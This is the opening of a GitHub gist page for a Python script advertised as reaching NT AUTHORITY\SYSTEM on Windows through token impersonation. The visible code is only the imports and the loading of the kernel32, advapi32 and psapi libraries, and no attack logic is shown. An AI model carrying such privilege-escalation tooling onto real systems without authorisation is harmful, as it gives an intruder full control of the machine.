Skip to content

Instantly share code, notes, and snippets.

View makelariss's full-sized avatar
🏴

makelaris makelariss

🏴
View GitHub Profile
@makelariss
makelariss / popshellslikeitsasaturday.py
Last active May 18, 2024 19:06
NT AUTHORITY\SYSTEM through Token Impersonation using Python
# -*- coding: UTF-8 -*-
# All credits go to: https://github.com/joren485/PyWinPrivEsc/blob/master/RunAsSystem.py
from ctypes.wintypes import *
from ctypes import *
from enum import IntEnum
# These libraries have the APIs we need
kernel32 = WinDLL('kernel32', use_last_error=True)
advapi32 = WinDLL('advapi32', use_last_error=True)
psapi = WinDLL('psapi.dll', use_last_error=True)